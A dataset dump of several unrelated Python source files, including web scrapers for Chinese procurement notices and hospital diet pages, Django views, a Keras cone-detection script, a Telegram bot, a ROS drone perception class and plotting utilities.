'http://manager.zjzfcg.gov.cn/cms/api/cors/getRemoteResults?noticeId={}&url=http%3A%2F%2Fnotice.zcy.gov.cn%2Fnew%2FnoticeDetail'.format(i['id'])\n yield scrapy.Request(url,callback=self.detailparse,dont_filter=True,meta={'title':title})\n\n def detailparse(self,response):\n items = ZhejiangcaigouItem()\n\n date = re.findall('\"noticePubDate\":\"(.*?)\",',response.text,re.S)[0].split()[0]\n content = re.findall('noticeContent\":\"(.*?)\"\\,\"visitCount\"',response.text,re.S)[0]\n items['title'] = response.meta['title']\n items['show_date'] = date\n items['content'] = content\n items['province_id'] = '330000'\n items['province'] = \"浙江省\"\n items['city'] = ''\n items['is_indb'] = '0'\n items['url'] = response.url\n items['county'] = ''\n items['city_id'] = '0'\n items['county_id'] = '0'\n compile_url = hashlib.sha1(response.url)\n sha1_url = compile_url.hexdigest()\n items['sha1_url'] = sha1_url\n yield items\n\n\n\n\n\n","sub_path":"ZheJiang/ZheJiangCaiGou/ZheJiangCaiGou/spiders/ZheJiangZhongBiao.py","file_name":"ZheJiangZhongBiao.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"459128168","text":"#!/usr/bin/python3.6\n'''\nProvides a class that allows for choosing\na file to operate on\n'''\n\nfrom pathlib import Path\n\nclass Menu:\n pr_str = {'None': 'ERROR: menu string not specified',\n 'files': 'select file: ',\n 's_routes': 'Input starting route to print ',\n 'e_routes': 'Input ending route to print ',\n 'sms_hampers': 'Input Starting Route Number: ',\n 'sms_army': 'Gift Appointment Block ',\n 'sponsor': 'Enter a date to print entries ',\n 'create': 'Enter name of file to create'\n }\n\n\n def __init__(self, base_path='databases/'):\n self.base_path = base_path\n self.path_dict = None\n\n def get_file_list(self):\n fls = Path(self.base_path)\n # create a dictionary with number keys for the \n # files in the dir\n fls_d = {str(x[0]) : x[1] for x in enumerate(fls.iterdir())}\n self.path_dict = fls_d\n\n for k in fls_d.keys():\n print(f'{k} : {fls_d[k]}')\n\n def prompt_input(self, prompt_key='None'):\n return input(Menu.pr_str.get(prompt_key, 'ERROR: invalid key string'))\n\n def handle_input(self, option):\n try:\n return self.path_dict[option]\n except KeyError:\n print('Invalid Choice')\n \n\ndef main():\n menu = Menu()\n menu.get_file_list()\n menu.handle_input(menu.prompt_input('files'))\n\nif __name__ == '__main__':\n main()\n\n\n\n\n","sub_path":"file_iface.py","file_name":"file_iface.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"145856709","text":"from django.shortcuts import render_to_response, RequestContext\nfrom polls.models import *\nfrom django.http import HttpResponseForbidden\nfrom .creating_arbitrate_form import *\nfrom django.shortcuts import redirect\nfrom django.views.decorators.csrf import *\n\n\ndef index(request):\n return render_to_response(\"index.html\")\n\n\ndef acts(request, pk=0):\n print(pk)\n if request.user.is_anonymous():\n return HttpResponseForbidden()\n elif pk == 0:\n list_acts = list()\n list_acts.append(Act.objects.get(arbitration=request.user.arbitration))\n return render_to_response(\"acts.html\", {'list_acts': list_acts, \"name\": request.user.get_full_name()})\n elif Arbitration.objects.get(pk=pk).dep == request.user.department:\n list_acts = list()\n arbitrate = request.user.department.arbitration_set.get(pk=pk)\n list_acts.append(Act.objects.get(arbitration=arbitrate))\n return render_to_response(\"acts.html\", {'list_acts': list_acts, \"name\": arbitrate.user.get_full_name()})\n else:\n return HttpResponseForbidden()\n\n\ndef act(request, pk):\n current_act = Act.objects.get(pk=pk)\n if current_act.arbitration.user == request.user or current_act.arbitration.dep == request.user.department:\n return render_to_response(\"act.html\", {\"act\": current_act})\n else:\n return HttpResponseForbidden()\n\n\ndef arbitrates(request):\n if request.user.is_anonymous():\n return HttpResponseForbidden()\n if request.user.department is not None:\n list_arbitr = request.user.department.arbitration_set.all()\n return render_to_response(\"arbitrates.html\", {'list_arbitrates': list_arbitr,\n 'location': request.user.department.location})\n else:\n return HttpResponseForbidden()\n\n\ndef new_arbitrate(request):\n if request.user.is_anonymous():\n return HttpResponseForbidden()\n if request.user.department is not None:\n if request.method == 'POST':\n pdn_h = PdnForm(request.POST, prefix='pdn')\n cert_h = CertForm(request.POST, prefix='cert') # WARNING! THERE CAN BE ERROR\n arb_h = ArbitrateForm(request.POST, prefix='arbitrate')\n if cert_h.is_valid() and arb_h.is_valid() and pdn_h.is_valid():\n user = User.objects.create_user(pdn_h.cleaned_data.get('login'), None,\n pdn_h.cleaned_data.get('password'))\n user.first_name = pdn_h.cleaned_data.get('first_name')\n user.last_name = pdn_h.cleaned_data.get('last_name') # Немного быдлокодерский путь получать поля так.\n try:\n c = cert_h.save()\n request.user.department.arbitration_set.create(certificate=c, user=user,\n activity_info=arb_h.cleaned_data.get('activity_info'),\n dismissal_date=arb_h.cleaned_data.get('dismissal_date'),\n office_location=arb_h.cleaned_data.get('office_location'),\n organization_field=arb_h.cleaned_data.get('organization_field'),\n name_register=arb_h.cleaned_data.get('name_register'),\n )\n user.save()\n except BaseException as exc:\n print(exc)\n user.delete()\n c.delete()\n return redirect(\"//arbitrates\")\n else:\n print(\"first\")\n pdn_h = PdnForm(prefix='pdn')\n cert_h = CertForm(prefix='cert')\n arb_h = ArbitrateForm(prefix='arbitrate')\n return render_to_response(\"createarbitrate.html\", {\"pdn\": pdn_h,\n \"cert\": cert_h, \"arbitrate\": arb_h, }, context_instance=RequestContext(request))\n\n else:\n return HttpResponseForbidden()\n","sub_path":"untitled5/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"97540241","text":"import sklearn.model_selection\r\nimport numpy as np\r\nimport os\r\nfrom os.path import join\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Flatten, BatchNormalization\r\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D\r\nfrom keras.utils import np_utils\r\nfrom keras.callbacks import TensorBoard, EarlyStopping\r\nfrom keras.models import model_from_json\r\nimport scipy.ndimage as sn\r\nimport time\r\nimport argparse\r\nimport cv2\r\nimport pandas as pd\r\nimport random\r\nfrom reconstruction import reconstruction\r\n\r\nimport tensorflow as tf\r\nfrom keras.backend.tensorflow_backend import set_session\r\nconfig = tf.ConfigProto()\r\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.1\r\nset_session(tf.Session(config=config))\r\n\r\ncolor = [(0, 255, 255), (255, 0, 0), (0, 165, 255)]\r\nclass_label = ['yellow', 'blue', 'orange']\r\n\r\ndef callback(x):\r\n pass\r\n'''\r\ndef trackbar(img, prob_map, threshold):\r\n title = 'Drag the slider to get the best result'\r\n cv2.namedWindow(title, cv2.WINDOW_NORMAL)\r\n cv2.createTrackbar('plant_distance', title, 2, 20, callback)\r\n rows, cols = prob_map.shape[:2]\r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\n last = 0\r\n while(1):\r\n k = cv2.waitKey(1) & 0xFF\r\n if k == 27:\r\n break\r\n\r\n plant_distance = cv2.getTrackbarPos('plant_distance', title)\r\n plant_distance *= 5\r\n\r\n if plant_distance == last:\r\n continue\r\n\r\n if plant_distance > 0:\r\n mask = cv2.inRange(prob_map, threshold, 1)\r\n mask_gray = np.copy(img)\r\n mask_color = np.copy(img)\r\n for r in range(rows):\r\n for c in range(cols):\r\n if mask[r, c] == 0:\r\n mask_gray[r, c, :] = gray[r, c]\r\n\r\n idx = strict_local_maximum(prob_map, plant_distance, threshold)\r\n\r\n for i in range(len(idx[0])):\r\n x = int(idx[0][i])\r\n y = int(idx[1][i])\r\n plant_size = 2\r\n mask_gray[x-plant_size:x+plant_size, y-plant_size:y+plant_size] = [0, 0, 255]\r\n mask_color[x-plant_size:x+plant_size, y-plant_size:y+plant_size] = [0, 0, 255]\r\n result = cv2.hconcat((mask_gray, mask_color))\r\n cv2.imshow(title, result)\r\n last = plant_distance\r\n\r\n print('plant_distance: {}'.format(plant_distance))\r\n return plant_distance\r\n'''\r\ndef trackbar(img, prob_map, num_class, threshold):\r\n cv2.namedWindow('img', cv2.WINDOW_NORMAL)\r\n cv2.createTrackbar('cone_distance','img',2,20,callback)\r\n\r\n last = 0\r\n while(1):\r\n k = cv2.waitKey(1) & 0xFF\r\n if k == 27:\r\n break\r\n\r\n cone_distance = cv2.getTrackbarPos('cone_distance','img')\r\n cone_distance *= 5\r\n\r\n if cone_distance == last:\r\n continue\r\n\r\n if cone_distance > 0:\r\n temp_img = np.copy(img)\r\n masks = np.zeros(img.shape[0:2])\r\n for i_class in range(num_class):\r\n mask = prob_map[:, :, i_class]\r\n index_map = mask > threshold\r\n mask = mask * index_map\r\n masks = np.logical_or(masks, index_map)\r\n idxes = strict_local_maximum(mask, cone_distance, threshold)\r\n\r\n for idx in range(len(idxes[0])):\r\n x = int(idxes[0][idx])\r\n y = int(idxes[1][idx])\r\n temp_img[x-2:x+2, y-2:y+2] = color[i_class]\r\n for i in range(3):\r\n temp_img[:, :, i] = temp_img[:, :, i] * masks\r\n cv2.imshow('img',temp_img)\r\n cv2.destroyAllWindows()\r\n\r\n print(cone_distance)\r\n return cone_distance\r\n\r\ndef img_padding(img_ori, patch_radius):\r\n img = img_ori / 255\r\n pad_width = ((patch_radius, patch_radius), (patch_radius, patch_radius), (0, 0))\r\n img_pad = np.lib.pad(img, pad_width, 'symmetric')\r\n return img_pad\r\n\r\ndef strict_local_maximum(prob_map, plant_distance, threshold):\r\n prob_gau = np.zeros(prob_map.shape)\r\n sigma = plant_distance/10 + 1\r\n sn.gaussian_filter(prob_map, 3, output=prob_gau, mode='mirror')\r\n\r\n prob_fil = np.zeros(prob_map.shape)\r\n sn.rank_filter(prob_gau, -2, output=prob_fil, footprint=np.ones([plant_distance, plant_distance]))\r\n\r\n temp = np.logical_and(prob_gau > prob_fil, prob_map > threshold) * 1.\r\n idx = np.where(temp > 0)\r\n return idx\r\n\r\ndef cone_detect_roi(csv_folder_path, model_path, bias_rate, threshold):\r\n dirname = os.path.split(csv_folder_path)[0]\r\n\r\n json_file = open(model_path+'.json', 'r')\r\n loaded_model_json = json_file.read()\r\n json_file.close()\r\n model = model_from_json(loaded_model_json)\r\n model.load_weights(model_path+'.h5')\r\n print(\"Loaded model from disk\")\r\n\r\n patch_size = 25\r\n patch_radius = int((patch_size-1)/2)\r\n channel = 3\r\n num_class = 2\r\n classes = range(1, num_class+1)\r\n detect_size = 51\r\n detect_radius = int((detect_size-1)/2)\r\n input_detect_size = detect_size + 2 * patch_radius\r\n\r\n csv_paths = os.listdir(csv_folder_path)\r\n start = time.clock()\r\n for csv_path in csv_paths:\r\n filename = os.path.splitext(csv_path)[0]\r\n img_path = join(dirname, 'right', filename+'.png')\r\n img = cv2.imread(img_path)\r\n row, col, n = img.shape\r\n\r\n csv_path = join(csv_folder_path, csv_path)\r\n bbox_df = pd.read_csv(csv_path)\r\n boxes = np.array(bbox_df[:])\r\n labels = boxes[:,0]\r\n ymins = boxes[:,1]\r\n xmins = boxes[:,2]\r\n ymaxs = boxes[:,3]\r\n xmaxs = boxes[:,4]\r\n cxs = (xmins+xmaxs)/2\r\n cys = (ymins+ymaxs)/2\r\n\r\n cones = []\r\n cone_id = 0\r\n temp_img = np.copy(img)\r\n for label, xmin, ymin, xmax, ymax, cx, cy in zip(labels, xmins, ymins, xmaxs, ymaxs, cxs, cys):\r\n cx = int(cx + random.choice(range(-10, 10)) * bias_rate)\r\n cy = int(cy + random.choice(range(-10, 10)) * bias_rate)\r\n xl = max(cx-detect_radius, 0)\r\n xr = min(cx+detect_radius, row)\r\n yl = max(cy-detect_radius, 0)\r\n yr = min(cy+detect_radius, col)\r\n cv2.rectangle(temp_img,(yl,xl),(yr,xr),(0,255,0),1)\r\n roi = img[xl:xr, yl:yr, :]\r\n rows, cols, n = roi.shape\r\n\r\n img_pad = img_padding(roi, patch_radius)\r\n rows_pad, cols_pad, d = img_pad.shape\r\n prob_map = np.zeros([rows, cols, num_class])\r\n\r\n input_image = np.expand_dims(img_pad, axis = 0)\r\n prob = model.predict(input_image)\r\n prob = np.squeeze(prob)\r\n prob_map = prob[:, :, classes]\r\n\r\n '''\r\n for i_class in range(num_class):\r\n index_map = prob_map[:, :, i_class] > threshold\r\n for r in range(rows):\r\n for c in range(cols):\r\n if index_map[r, c]:\r\n x = r + cx - detect_radius\r\n y = c + cy - detect_radius\r\n temp_img[x, y, :] = [0, 0, 255]\r\n '''\r\n '''\r\n for i_class in range(num_class):\r\n mask = prob_map[:, :, i_class]\r\n index_map = mask > threshold\r\n mask = mask * index_map\r\n idxes = strict_local_maximum(mask, detect_size, threshold)\r\n\r\n for idx in range(len(idxes[0])):\r\n x = int(idxes[0][idx]) + cx - detect_radius\r\n y = int(idxes[1][idx]) + cy - detect_radius\r\n cones.append([x, y, i_class])\r\n\r\n for i_cone in range(len(cones)):\r\n x = cones[i_cone][0]\r\n y = cones[i_cone][1]\r\n predict_class = cones[i_cone][2]\r\n color_show = color[predict_class]\r\n cv2.circle(img, (y, x), 3, color_show, -1)\r\n cv2.putText(img, str(i_cone), (y, x), cv2.FONT_HERSHEY_SIMPLEX,0.5, color_show, 2)\r\n '''\r\n\r\n prob_gau = np.zeros(prob_map.shape)\r\n for i in range(num_class):\r\n #sn.gaussian_filter(prob_map[:, :, i], 2, output=prob_gau[:, :, i], mode='mirror')\r\n prob_gau[:, :, i] = cv2.GaussianBlur(prob_map[:, :, i], (5, 5), 0)\r\n #print(prob_map)\r\n max_prob = prob_gau.max()\r\n if max_prob > threshold:\r\n cone_id += 1\r\n x, y, predict_class = np.where(prob_gau == max_prob)\r\n if len(x) > 1:\r\n x = int(np.median(x))\r\n y = int(np.median(y))\r\n #print(cone_id, x, y, predict_class, max_prob)\r\n x = x + cx - detect_radius\r\n y = y + cy - detect_radius\r\n\r\n color_show = color[predict_class[0]]\r\n cv2.circle(temp_img, (y, x), 3, color_show, -1)\r\n cv2.putText(temp_img, str(cone_id), (y, x), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color_show, 2)\r\n\r\n save_path = join('result/2_5_right', filename+'.png')\r\n cv2.imwrite(save_path, temp_img)\r\n '''\r\n cv2.namedWindow('img', cv2.WINDOW_NORMAL)\r\n cv2.imshow('img', temp_img)\r\n cv2.waitKey(0)\r\n '''\r\n whole_time = time.clock() - start\r\n average_time = whole_time/len(csv_paths)\r\n print(average_time)\r\n\r\ndef detection(img, model, cone_distance, threshold, patch_radius, num_class, classes, detect_size, input_detect_size):\r\n img_pad = img_padding(img, patch_radius)\r\n cv2.imshow('img', img)\r\n rows, cols, d = img.shape\r\n rows_pad, cols_pad, d = img_pad.shape\r\n prob_map = np.zeros([rows, cols, num_class])\r\n\r\n if np.min(img_pad)<1:\r\n for r in range(0, rows_pad, detect_size):\r\n for c in range(0, cols_pad, detect_size):\r\n input_image = img_pad[r:r+input_detect_size, c:c+input_detect_size, :]\r\n if np.min(input_image)<1:\r\n input_image = np.expand_dims(input_image, axis = 0)\r\n prob = model.predict(input_image)\r\n prob = np.squeeze(prob)\r\n prob_map[r:r+detect_size, c:c+detect_size, :] = prob[:, :, classes]\r\n\r\n #cone_distance = trackbar(img, prob_map, num_class, threshold)\r\n\r\n temp_img = np.zeros(img.shape)\r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n for i in range(3):\r\n temp_img[:, :, i] = gray\r\n\r\n cones = []\r\n for i_class in range(num_class):\r\n mask = prob_map[:, :, i_class]\r\n index_map = mask > threshold\r\n mask = mask * index_map\r\n idxes = strict_local_maximum(mask, cone_distance, threshold)\r\n\r\n for r in range(rows):\r\n for c in range(cols):\r\n if index_map[r, c]:\r\n temp_img[r, c, :] = img[r, c, :]\r\n\r\n for idx in range(len(idxes[0])):\r\n x = int(idxes[0][idx])\r\n y = int(idxes[1][idx])\r\n #depth = factor / disp[x, y]\r\n #cones.append([x, y, class_label[i_class], depth])\r\n #print(x, y, class_label[i_class], depth)\r\n cones.append([x, y, class_label[i_class]])\r\n print(x, y, class_label[i_class])\r\n temp_img[x-2:x+2, y-2:y+2] = color[i_class]\r\n return temp_img, cones\r\n\r\ndef cone_detect_depth(img_path, model_path, cone_distance, threshold):\r\n imgL, imgR, disp, factor = reconstruction(img_path)\r\n basename = os.path.split(img_path)[1]\r\n\r\n json_file = open(model_path+'.json', 'r')\r\n loaded_model_json = json_file.read()\r\n json_file.close()\r\n model = model_from_json(loaded_model_json)\r\n model.load_weights(model_path+'.h5')\r\n print(\"Loaded model from disk\")\r\n\r\n patch_size = 25\r\n patch_radius = int((patch_size-1)/2)\r\n channel = 3\r\n num_class = 1\r\n classes = range(1, num_class+1)\r\n detect_size = 512\r\n input_detect_size = detect_size + 2 * patch_radius\r\n\r\n left_result, left_cones = detection(imgL, model, cone_distance, threshold,\r\n patch_radius, num_class, classes, detect_size, input_detect_size)\r\n right_result, right_cones = detection(imgR, model, cone_distance, threshold,\r\n patch_radius, num_class, classes, detect_size, input_detect_size)\r\n\r\n disparity = []\r\n if len(left_cones) == len(right_cones):\r\n for left_cone, right_cone in zip(left_cones, right_cones):\r\n pt1 = np.array(left_cone[:2])\r\n pt2 = np.array(right_cone[:2])\r\n disparity.append(np.linalg.norm(pt1 - pt2))\r\n depth = factor/np.array(disparity)\r\n print(depth)\r\n '''\r\n cv2.namedWindow('img', cv2.WINDOW_NORMAL)\r\n cv2.imshow('img', temp_img)\r\n cv2.waitKey(0)\r\n save_path = join('result', basename)\r\n cv2.imwrite(save_path, temp_img)\r\n '''\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"--img_path\", type = str)\r\n parser.add_argument(\"--model_path\", type = str)\r\n parser.add_argument(\"--cone_distance\", type = int)\r\n parser.add_argument(\"--threshold\", type = float)\r\n args = parser.parse_args()\r\n\r\n cone_detect_depth(img_path = args.img_path, model_path = args.model_path, cone_distance = args.cone_distance, threshold = args.threshold)\r\n","sub_path":"cone_detect_depth.py","file_name":"cone_detect_depth.py","file_ext":"py","file_size_in_byte":13300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"136580597","text":"\nimport matplotlib.pyplot as plt \n\nimport pandas as pd\nfrom sklearn.decomposition import PCA\n\ndef print_class_count( y ):\n # Obtain the number of zeroes and ones\n num_zero = 0\n num_one = 0\n for val in y:\n if( val == 0 ):\n num_zero += 1\n else:\n num_one += 1\n\n print( \"zeroes: \" + str(num_zero) + \" ; ones: \" + str(num_one))\n\ndef plot_roc_curve( false_positive_rate, true_positive_rate ):\n plt.plot( false_positive_rate, true_positive_rate, color = 'orange', label = 'ROC' )\n plt.plot([0,1], [0,1], color = 'darkblue', linestyle = '--')\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiving Operating Characteristic (ROC) Curve')\n plt.legend()\n plt.show()\n\ndef pca_plot_2d( X, y ): \n pca = PCA( n_components = 2 )\n pcaX = pca.fit_transform(X)\n\n # may want to reduce the size of this\n PCA_dataframe = pd.DataFrame({\"y\": y[:,0], \"R1\": pcaX[:,0], \"R2\": pcaX[:,1]})\n\n colors = ['#1F77B4', '#FF7F0E']\n markers = ['o', 's']\n labels = ['R1', 'R2']\n\n for line in PCA_dataframe.itertuples():\n classIndex = 0 if line.y == 0 else 1\n\n plt.scatter(\n line.R1,\n line.R2,\n c=colors[classIndex], label=labels[classIndex], marker=markers[classIndex]\n )\n\n plt.title(\"2D PCA\")\n #plt.legend(loc='upper right')\n plt.show()","sub_path":"src/testing_utils.py","file_name":"testing_utils.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"187795393","text":"'''\nCreated on 2021. 4. 30.\n\n@author: USER\n'''\n\nfrom bs4 import BeautifulSoup\n\n\nimport requests\nimport time\nimport pymysql\n\n#localhost\", \"root\", \"12345678\", \"pythondb\n\nconn = pymysql.connect(host='localhost', user = 'root', password='12345678', db = 'spring',charset = 'utf8')\ncurs = conn.cursor(pymysql.cursors.DictCursor)\n\nheaders = {\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51\"}\n\ndef HealthInfo(num): \n for x in range(1, num+1):\n url = \"http://www.amc.seoul.kr/asan/healthinfo/mealtherapy/mealTherapyList.do?pageIndex={}&searchCondition=&searchKeyword=&mtId=\".format(x)\n \n res = requests.get(url, headers=headers)\n res.raise_for_status()\n soup = BeautifulSoup(res.text, \"lxml\")\n \n #page = urlopen(url)\n #soup = BeautifulSoup(page, \"html.parser\")\n items = soup.select(\"#listForm > div > div > ul > li\")\n \n \n for idx, item in enumerate(items): \n \n titles1 = item.select(\"dt\")\n titles = [title.get_text().strip() for title in titles1]\n rows1 = item.select_one(\"dd\")\n contents = [row.strip() for row in rows1] \n \n \n \n # 이미지 저장하기\n images = item.find(\"img\")\n image_url = images.get(\"src\")\n if image_url.startswith(\"/\"):\n image_url = \"http://www.amc.seoul.kr\" + image_url\n img_num = (x - 1) * 10\n image_res = requests.get(image_url)\n image_res.raise_for_status()\n \n with open(\"./health_images/health_{}.jpg\".format(img_num+idx+1), \"wb\") as f:\n f.write(image_res.content)\n f.close()\n no = img_num+idx+1\n img = \"health_{}.jpg\".format(img_num+idx+1)\n \n \n sql = \"insert into health_info values (%s, %s, %s, %s)\"\n val = (no, titles, contents, img) \n curs.execute(sql, val)\n \n print(url)\n time.sleep(0.2) \n conn.commit() #commit을 치는 부분입니다. \n conn.close()\n print(\"commit완료\")\n\n# 키워드, 페이지수, \n\nif __name__ == \"__main__\":\n # 가슴 type = 1\n \n HealthInfo(11)\n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"selftest/data_crawling/healthy_info_db.py","file_name":"healthy_info_db.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"207085251","text":"from aiogram import Bot, Dispatcher, types, executor\nfrom botstate import BotState\nimport story\nimport logging\nimport asyncio\n\n# fields\nAPI_TOKEN = ''\nstate = BotState.IDLE\n\n# commands\nSTART = '/start'\nHELP = '/help'\nSTORY = '/story'\n\n# setup\nbot = Bot(token=API_TOKEN)\ndp = Dispatcher(bot)\nlogging.basicConfig(level=logging.INFO)\n\n# handlers\n@dp.message_handler(commands = ['start','help','story'])\nasync def command_handler(message: types.Message):\n if message.text == START:\n await _send_start(message)\n if message.text == HELP:\n await _send_help(message)\n if message.text == STORY:\n await _start_story(message)\n return\n\n@dp.message_handler(content_types = types.ContentType.TEXT)\nasync def text_handler(message: types.Message):\n if state == BotState.STORY_INPUT_HERO:\n await _set_hero(message)\n return\n if state == BotState.STORY_INPUT_FRIEND:\n await _set_friend(message)\n return\n\n# handler reaction funcs\nasync def _send_start(message: types.Message):\n global state \n state = BotState.IDLE\n m = \"\"\"\n Здарова, что бы начать введи /story.\n Для того что бы получить список команд\n введи /help.\n \"\"\"\n await message.reply(m)\n\nasync def _send_help(message: types.Message):\n global state \n state = BotState.IDLE\n m = \"\"\"\n Команды:\n /start\n /help\n /story\n \"\"\"\n await message.reply(m)\n\nasync def _start_story(message: types.Message):\n global state\n state = BotState.STORY_INPUT_HERO\n m = \"\"\"\n Отлично! Напиши мне имя главного героя.\n \"\"\"\n await message.reply(m)\n\nasync def _set_hero(message: types.Message):\n global state\n state = BotState.STORY_INPUT_FRIEND\n story.hero = message.text\n m = \"\"\"\n Круто! Теперь напиши имя твоего друга!\n \"\"\"\n await message.reply(m)\n\nasync def _set_friend(message: types.Message):\n global state\n state = BotState.IDLE\n story.friend = message.text\n m = \"\"\"\n Отлично! Вот твоя история.\n {}\n \"\"\".format(get_story())\n await message.reply(m)\n \n\n# misc\ndef get_story():\n return story.makeStory()\n\n# start\nif __name__ == '__main__':\n executor.start_polling(dp, skip_updates=True)","sub_path":"TeleStory.py","file_name":"TeleStory.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"364905026","text":"import json\n\nfrom yarl import URL\n\nfrom gd.typing import Any, Dict, List, Optional, Union\n\n__all__ = (\"get_module\", \"make_repr\", \"object_split\", \"dump\")\n\n\ndef get_module(module: str) -> str:\n return module.split(\".\", 1)[0]\n\n\ndef make_repr(obj: Any, info: Optional[Dict[Any, Any]] = None) -> str:\n \"\"\"Create a nice __repr__ for the object.\"\"\"\n if info is None:\n info = {}\n\n module = get_module(obj.__module__)\n name = obj.__class__.__name__\n\n if not info:\n return f\"<{module}.{name}>\"\n\n formatted_info = \" \".join(f\"{key}={value}\" for key, value in info.items())\n\n return f\"<{module}.{name} {formatted_info}>\"\n\n\ndef default(x: Any) -> Any:\n if isinstance(x, (list, tuple, set)):\n return list(x)\n\n elif isinstance(x, dict):\n return dict(x)\n\n elif hasattr(x, \"_json\"):\n return x._json()\n\n elif isinstance(x, URL):\n return str(x)\n\n else:\n raise TypeError(f\"Object of type {type(x).__name__!r} is not JSON-serializable.\") from None\n\n\ndef dump(x: Any, **kwargs) -> str:\n kwargs.update(default=default)\n return json.dumps(x, **kwargs)\n\n\ndef object_split(string: Union[bytes, str]) -> Union[List[bytes], List[str]]:\n sc = \";\" if isinstance(string, str) else b\";\" # type: ignore\n\n final = string.split(sc) # type: ignore\n final.pop(0) # pop header\n\n if string.endswith(sc): # type: ignore\n final.pop()\n\n return final\n","sub_path":"gd/utils/text_tools.py","file_name":"text_tools.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"650016276","text":"#!/usr/bin/env python2\n\nfrom threading import RLock\nimport math\n\nimport rospy\n\nimport std_msgs.msg\nimport mavros_msgs.msg\nimport nav_msgs.msg\nimport geometry_msgs.msg\n\nclass Perceptions:\n #constructor\n def __init__(self, controler):\n \n ##maintain pointer to controler\n self.controler = controler\n\n ## important attributes\n self.state = mavros_msgs.msg.State()\n self.position = geometry_msgs.msg.Point()\n self.destination = geometry_msgs.msg.Point()\n self.fcuSpeed = 0 ##remember to use a topic which returns approximatelly the speed \n \n #create lock to protect integrity of info\n self.posLock = RLock()\n self.stateLock = RLock()\n self.velLock = RLock()\n \n\n #methods for main to get information\n def getState(self):\n self.stateLock.acquire()\n state = self.state\n self.stateLock.release()\n return state\n\n def getPos(self):\n self.posLock.acquire()\n pos = self.position\n self.posLock.release()\n return (pos.x, pos.y, pos.z)\n\n def getSpeed(self):\n self.velLock.acquire()\n speed = self.fcuSpeed\n self.velLock.release()\n return speed\n\n #ros callbacks\n def start(self):\n ##starting ros topics\n rospy.Subscriber('mavros/state', mavros_msgs.msg.State, self.state_callback)\n rospy.Subscriber('mavros/global_position/local', nav_msgs.msg.Odometry, self.pos_callback)\n rospy.Subscriber('mavros/global_position/gp_vel', geometry_msgs.msg.TwistStamped, self.speed_callback)\n\n def pos_callback(self, msg):\n self.posLock.acquire()\n self.position = msg.pose.pose.position\n self.posLock.release()\n \n def state_callback(self, msg):\n self.stateLock.acquire()\n self.state = msg\n self.stateLock.release()\n \n def speed_callback(self, msg):\n vec_vel = msg.twist.linear\n #vectorial sum of speeds to determine absolut linear speed\n lin_vel = math.sqrt(vec_vel.x**2 + vec_vel.y**2 + vec_vel.z**2)\n self.velLock.acquire()\n self.fcuSpeed = lin_vel\n self.velLock.release()","sub_path":"src/singleUAV/src/Perceptions.py","file_name":"Perceptions.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"555244444","text":"from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\nfrom matplotlib.figure import Figure\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport tkinter as tk\nfrom tkinter import ttk\nfrom data_common import API_qz_data_source_related\nfrom vcomm import Checkbar,label_button_entry\nimport nets\nimport env\nimport numpy as np\nimport re,os\nimport config as sc\nimport Stocklist_comm as scom\nfrom data_T5 import R_T5,R_T5_scale,R_T5_balance,R_T5_skipSwh,R_T5_skipSwh_balance\nfrom data_common import API_trade_date\n\nclass vstate(tk.Frame):\n def __init__(self, container, param):\n tk.Frame.__init__(self, container)\n self.data_name=param[\"data_name\"]\n\n\n start_s, end_s=API_qz_data_source_related().get_data_state_end_time_s(self.data_name,\"SH\")\n td = API_trade_date().np_date_s\n #self.td=td[td<=\"20170731\"]\n self.td = td[(td >= start_s)&(td <= end_s)]\n stock = \"SH600001\"\n if self.data_name==\"T5\":\n date_s=\"20170731\"\n else:\n date_s = \"20180301\"\n\n self.fig = Figure(figsize=(5, 5), dpi=100)\n self.ins = visual_state_data(self.data_name,stock, date_s)\n self.config_dic ={\"stock\": \"SH600000\", \"date_up\": date_s, \"date_down\": date_s, \"l_mask_choice\": [0,0,0,0],\"l_threadhold\": [0,0,0,0],\"l_scale_choice\": [0,0,0,0]}\n self.ins.show_all_in_one(self.fig, self.config_dic)\n self.canvas = FigureCanvasTkAgg(self.fig, self)\n self.canvas.show()\n self.canvas.get_tk_widget().pack(side=tk.BOTTOM, fill=tk.BOTH, expand=True)\n toolbar = NavigationToolbar2TkAgg(self.canvas, self)\n toolbar.update()\n self.canvas._tkcanvas.pack(side=tk.TOP, fill=tk.BOTH, expand=True)\n\n xiamian=tk.Frame(self)\n 